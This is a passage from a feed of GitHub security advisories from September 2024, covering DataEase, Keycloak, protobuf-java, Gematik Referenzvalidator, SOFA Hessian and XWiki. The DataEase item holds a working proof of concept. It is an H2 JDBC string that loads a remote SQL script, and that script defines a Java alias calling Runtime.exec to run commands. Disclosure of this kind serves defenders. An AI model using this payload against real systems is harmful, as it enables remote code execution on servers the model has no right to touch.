        &quot;configuration&quot;: &quot;eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==&quot;
        }
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;h2 data source connection string:&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;// configuration
        {
        &quot;jdbc&quot;: &quot;jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM &#39;[http://10.168.174.1:8000/poc.sql&#39;](http://10.168.174.1:8000/poc.sql%27);&quot;,
        }
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;the content of poc.sql:&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;// poc.sql
        CREATE ALIAS EXEC AS &#39;String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return &quot;su18&quot;;}&#39;;CALL EXEC (&#39;touch /tmp/jdbch2rce&#39;)
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;You can see that the file was created successfully in docker:&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;/tmp # ls -l jdbch2rce
        -rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Affected versions: &amp;lt;= 2.10.0&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The vulnerability has been fixed in v2.10.1.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;It is recommended to upgrade the version to v2.10.1.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;p&gt;If you have any questions or comments about this advisory:&lt;/p&gt;
        &lt;p&gt;Open an issue in &lt;a href=&quot;https://github.com/dataease/dataease&quot;&gt;https://github.com/dataease/dataease&lt;/a&gt;&lt;br&gt;
        Email us at &lt;a href=&quot;mailto:wei@fit2cloud.com&quot;&gt;wei@fit2cloud.com&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-h7mj-m72h-qm8w&quot; href=&quot;https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w&quot;&gt;GHSA-h7mj-m72h-qm8w&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-46997&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-46997&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-h7mj-m72h-qm8w</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-h7mj-m72h-qm8w</guid>
      <pubDate>Mon, 23 Sep 2024 20:27:11 GMT</pubDate>
    </item>
    <item>
      <title>Keycloak SAML signature validation flaw</title>
      <description>&lt;p&gt;A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8698&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8698&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/CVE-2024-8698&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/security/cve/CVE-2024-8698&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=2311641&quot; rel=&quot;nofollow&quot;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=2311641&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/keycloak/keycloak/blob/main/saml-core/src/main/java/org/keycloak/saml/processing/core/util/XMLSignatureUtil.java#L415&quot;&gt;https://github.com/keycloak/keycloak/blob/main/saml-core/src/main/java/org/keycloak/saml/processing/core/util/XMLSignatureUtil.java#L415&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/keycloak/keycloak/releases/tag/25.0.6&quot;&gt;https://github.com/keycloak/keycloak/releases/tag/25.0.6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6878&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6878&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6879&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6879&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6880&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6880&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6882&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6882&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6886&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6886&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6887&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6887&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6888&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6888&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6889&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6889&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6890&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6890&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-4xx7-2cx3-x473</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-4xx7-2cx3-x473</guid>
      <pubDate>Thu, 19 Sep 2024 18:30:52 GMT</pubDate>
    </item>
    <item>
      <title>Keycloak Open Redirect vulnerability</title>
      <description>&lt;p&gt;A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a &#39;Valid Redirect URI&#39; is set to &lt;a href=&quot;http://localhost/&quot; rel=&quot;nofollow&quot;&gt;http://localhost&lt;/a&gt; or &lt;a href=&quot;http://127.0.0.1/&quot; rel=&quot;nofollow&quot;&gt;http://127.0.0.1&lt;/a&gt;, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8883&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8883&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/CVE-2024-8883&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/security/cve/CVE-2024-8883&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=2312511&quot; rel=&quot;nofollow&quot;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=2312511&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/keycloak/keycloak/blob/main/services/src/main/java/org/keycloak/protocol/oidc/utils/RedirectUtils.java&quot;&gt;https://github.com/keycloak/keycloak/blob/main/services/src/main/java/org/keycloak/protocol/oidc/utils/RedirectUtils.java&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/keycloak/keycloak/releases/tag/25.0.6&quot;&gt;https://github.com/keycloak/keycloak/releases/tag/25.0.6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6878&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6878&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6879&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6879&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6880&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6880&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6882&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6882&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6886&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6886&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6887&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6887&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6888&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6888&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6889&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6889&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/errata/RHSA-2024:6890&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/errata/RHSA-2024:6890&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-vvf8-2h68-9475</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-vvf8-2h68-9475</guid>
      <pubDate>Thu, 19 Sep 2024 18:30:52 GMT</pubDate>
    </item>
    <item>
      <title>protobuf-java has potential Denial of Service issue</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash.&lt;/p&gt;
        &lt;p&gt;Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team &lt;a href=&quot;mailto:ecosystem@trailofbits.com&quot;&gt;ecosystem@trailofbits.com&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.&lt;/p&gt;
        &lt;h3&gt;Severity&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254&quot; rel=&quot;nofollow&quot;&gt;CVE-2024-7254&lt;/a&gt; &lt;strong&gt;High&lt;/strong&gt; CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication)&lt;br&gt;
        This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.&lt;/p&gt;
        &lt;h3&gt;Proof of Concept&lt;/h3&gt;
        &lt;p&gt;For reproduction details, please refer to the unit tests (Protobuf Java &lt;a href=&quot;https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java&quot;&gt;LiteTest&lt;/a&gt; and &lt;a href=&quot;https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java&quot;&gt;CodedInputStreamTest&lt;/a&gt;) that identify the specific inputs that exercise this parsing weakness.&lt;/p&gt;
        &lt;h3&gt;Remediation and Mitigation&lt;/h3&gt;
        &lt;p&gt;We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;protobuf-java (3.25.5, 4.27.5, 4.28.2)&lt;/li&gt;
        &lt;li&gt;protobuf-javalite (3.25.5, 4.27.5, 4.28.2)&lt;/li&gt;
        &lt;li&gt;protobuf-kotlin (3.25.5, 4.27.5, 4.28.2)&lt;/li&gt;
        &lt;li&gt;protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2)&lt;/li&gt;
        &lt;li&gt;com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-735f-pc8j-v9w8&quot; href=&quot;https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-735f-pc8j-v9w8&quot;&gt;GHSA-735f-pc8j-v9w8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-7254&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-7254&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/protocolbuffers/protobuf/commit/4728531c162f2f9e8c2ca1add713cfee2db6be3b/hovercard&quot; href=&quot;https://github.com/protocolbuffers/protobuf/commit/4728531c162f2f9e8c2ca1add713cfee2db6be3b&quot;&gt;protocolbuffers/protobuf@&lt;tt&gt;4728531&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/protocolbuffers/protobuf/commit/850fcce9176e2c9070614dab53537760498c926b/hovercard&quot; href=&quot;https://github.com/protocolbuffers/protobuf/commit/850fcce9176e2c9070614dab53537760498c926b&quot;&gt;protocolbuffers/protobuf@&lt;tt&gt;850fcce&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/protocolbuffers/protobuf/commit/9a5f5fe752a20cbac2e722b06949ac985abdd534/hovercard&quot; href=&quot;https://github.com/protocolbuffers/protobuf/commit/9a5f5fe752a20cbac2e722b06949ac985abdd534&quot;&gt;protocolbuffers/protobuf@&lt;tt&gt;9a5f5fe&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/protocolbuffers/protobuf/commit/ac9fb5b4c71b0dd80985b27684e265d1f03abf46/hovercard&quot; href=&quot;https://github.com/protocolbuffers/protobuf/commit/ac9fb5b4c71b0dd80985b27684e265d1f03abf46&quot;&gt;protocolbuffers/protobuf@&lt;tt&gt;ac9fb5b&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/protocolbuffers/protobuf/commit/cc8b3483a5584b3301e3d43d17eb59704857ffaa/hovercard&quot; href=&quot;https://github.com/protocolbuffers/protobuf/commit/cc8b3483a5584b3301e3d43d17eb59704857ffaa&quot;&gt;protocolbuffers/protobuf@&lt;tt&gt;cc8b348&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/protocolbuffers/protobuf/commit/d6c82fc55a76481c676f541a255571e8950bb8c3/hovercard&quot; href=&quot;https://github.com/protocolbuffers/protobuf/commit/d6c82fc55a76481c676f541a255571e8950bb8c3&quot;&gt;protocolbuffers/protobuf@&lt;tt&gt;d6c82fc&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/rubysec/ruby-advisory-db/blob/master/gems/google-protobuf/CVE-2024-7254.yml&quot;&gt;https://github.com/rubysec/ruby-advisory-db/blob/master/gems/google-protobuf/CVE-2024-7254.yml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-735f-pc8j-v9w8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-735f-pc8j-v9w8</guid>
      <pubDate>Thu, 19 Sep 2024 16:06:03 GMT</pubDate>
    </item>
    <item>
      <title>Gematik Referenzvalidator has an XXE vulnerability that can lead to a Server Side Request Forgery attack</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;The profile location routine in the referencevalidator commons package is vulnerable to &lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)&quot; rel=&quot;nofollow&quot;&gt;XML External Entities&lt;/a&gt; attack due to insecure defaults of the used Woodstox WstxInputFactory. A malicious XML resource can lead to network requests issued by referencevalidator and thus to a &lt;a href=&quot;https://owasp.org/www-community/attacks/Server_Side_Request_Forgery&quot; rel=&quot;nofollow&quot;&gt;Server Side Request Forgery&lt;/a&gt; attack.&lt;/p&gt;
        &lt;p&gt;The vulnerability impacts applications which use referencevalidator to process XML resources from untrusted sources.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The problem has been patched with the &lt;a href=&quot;https://github.com/gematik/app-referencevalidator/releases/tag/2.5.1&quot;&gt;2.5.1 version&lt;/a&gt; of the referencevalidator. Users are strongly recommended to update to this version or a more recent one.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;A pre-processing or manual analysis of input XML resources on existence of DTD definitions or external entities can mitigate the problem.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)#&quot; rel=&quot;nofollow&quot;&gt;OWASP Top 10 XXE&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Server_Side_Request_Forgery&quot; rel=&quot;nofollow&quot;&gt;Server Side Request Forgery&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#transformerfactory&quot; rel=&quot;nofollow&quot;&gt;OWASP XML External Entity Prevention Cheat Sheet&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-68j8-fp38-p48q&quot; href=&quot;https://github.com/gematik/app-referencevalidator/security/advisories/GHSA-68j8-fp38-p48q&quot;&gt;GHSA-68j8-fp38-p48q&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/gematik/app-referencevalidator/commit/d6d27613fab7a8dd08534946f29e0c51f319cad6/hovercard&quot; href=&quot;https://github.com/gematik/app-referencevalidator/commit/d6d27613fab7a8dd08534946f29e0c51f319cad6&quot;&gt;gematik/app-referencevalidator@&lt;tt&gt;d6d2761&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-46984&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-46984&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#transformerfactory&quot; rel=&quot;nofollow&quot;&gt;https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#transformerfactory&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gematik/app-referencevalidator/releases/tag/2.5.1&quot;&gt;https://github.com/gematik/app-referencevalidator/releases/tag/2.5.1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Server_Side_Request_Forgery&quot; rel=&quot;nofollow&quot;&gt;https://owasp.org/www-community/attacks/Server_Side_Request_Forgery&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)&quot; rel=&quot;nofollow&quot;&gt;https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)#&quot; rel=&quot;nofollow&quot;&gt;https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)#&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-68j8-fp38-p48q</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-68j8-fp38-p48q</guid>
      <pubDate>Thu, 19 Sep 2024 14:49:40 GMT</pubDate>
    </item>
    <item>
      <title>SOFA Hessian Remote Command Execution (RCE) Vulnerability</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;SOFA Hessian protocol uses a blacklist mechanism to restrict deserialization of potentially dangerous classes for security protection. But there is a gadget chain that can bypass the SOFA Hessian blacklist protection mechanism, and this gadget chain only relies on JDK and does not rely on any third-party components.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Fixed this issue by update blacklist, users can upgrade to sofahessian version 3.5.5 to avoid this issue.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;You can maintain a blacklist yourself in this directory &lt;code class=&quot;notranslate&quot;&gt;external/serialize.blacklist&lt;/code&gt;.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-c459-2m73-67hj&quot; href=&quot;https://github.com/sofastack/sofa-hessian/security/advisories/GHSA-c459-2m73-67hj&quot;&gt;GHSA-c459-2m73-67hj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/sofastack/sofa-hessian/commit/764ef4b216aee6aeb4b111aec8947a4e8b53bb87/hovercard&quot; href=&quot;https://github.com/sofastack/sofa-hessian/commit/764ef4b216aee6aeb4b111aec8947a4e8b53bb87&quot;&gt;sofastack/sofa-hessian@&lt;tt&gt;764ef4b&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-46983&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-46983&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-c459-2m73-67hj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-c459-2m73-67hj</guid>
      <pubDate>Thu, 19 Sep 2024 14:49:20 GMT</pubDate>
    </item>
    <item>
      <title>org.xwiki.platform:xwiki-platform-notifications-ui leaks data of notification filters of users</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;It&#39;s possible to get access to notification filters of any user by using a URL such as &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;hostname&amp;gt;xwiki/bin/get/XWiki/Notifications/Code/NotificationFilterPreferenceLivetableResults?outputSyntax=plain&amp;amp;type=custom&amp;amp;user=&amp;lt;username&amp;gt;&lt;/code&gt;. This vulnerability impacts all versions of XWiki since 13.2-rc-1.&lt;br&gt;
        The filters do not provide much information (they mainly contain references which are public data in XWiki), though some info could be used in combination with other vulnerabilities.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The vulnerability has been patched in XWiki 14.10.21, 15.5.5, 15.10.1, 16.0RC1.&lt;br&gt;
        The patch consists in checking the rights of the user when sending the data.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;It&#39;s possible to workaround the vulnerability by applying manually the patch: it&#39;s possible for an administrator to edit directly the document &lt;code class=&quot;notranslate&quot;&gt;XWiki.Notifications.Code.NotificationFilterPreferenceLivetableResults&lt;/code&gt; to apply the same changes as in the patch. See c8c6545f9bde6f5aade994aa5b5903a67b5c2582.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;Jira ticket: &lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-20336&quot; rel=&quot;nofollow&quot;&gt;https://jira.xwiki.org/browse/XWIKI-20336&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;Commit: c8c6545f9bde6f5aade994aa5b5903a67b5c2582&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;For more information&lt;/h3&gt;
        &lt;p&gt;If you have any questions or comments about this advisory:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Open an issue in &lt;a href=&quot;https://jira.xwiki.org/&quot; rel=&quot;nofollow&quot;&gt;Jira XWiki.org&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;Email us at &lt;a href=&quot;mailto:security@xwiki.org&quot;&gt;Security Mailing List&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Attribution&lt;/h3&gt;
        &lt;p&gt;This vulnerability has been reported on Intigriti by &lt;a href=&quot;https://www.linkedin.com/in/metehan-kalkan-5a3201199&quot; rel=&quot;nofollow&quot;&gt;Mete&lt;/a&gt;.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-pg4m-3gp6-hw4w&quot; href=&quot;https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pg4m-3gp6-hw4w&quot;&gt;GHSA-pg4m-3gp6-hw4w&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/xwiki/xwiki-platform/commit/29e5edbb2b7068ada17290cea41e0aa8144e1294/hovercard&quot; href=&quot;https://github.com/xwiki/xwiki-platform/commit/29e5edbb2b7068ada17290cea41e0aa8144e1294&quot;&gt;xwiki/xwiki-platform@&lt;tt&gt;29e5edb&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/xwiki/xwiki-platform/commit/a0352922a1a61e0e858a9be89d73f0665630a63a/hovercard&quot; href=&quot;https://github.com/xwiki/xwiki-platform/commit/a0352922a1a61e0e858a9be89d73f0665630a63a&quot;&gt;xwiki/xwiki-platform@&lt;tt&gt;a035292&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/xwiki/xwiki-platform/commit/c8c6545f9bde6f5aade994aa5b5903a67b5c2582/hovercard&quot; href=&quot;https://github.com/xwiki/xwiki-platform/commit/c8c6545f9bde6f5aade994aa5b5903a67b5c2582&quot;&gt;xwiki/xwiki-platform@&lt;tt&gt;c8c6545&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/xwiki/xwiki-platform/commit/ed090d1aa228848d3860968c437b72db3b09119f/hovercard&quot; href=&quot;https://github.com/xwiki/xwiki-platform/commit/ed090d1aa228848d3860968c437b72db3b09119f&quot;&gt;xwiki/xwiki-platform@&lt;tt&gt;ed090d1&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
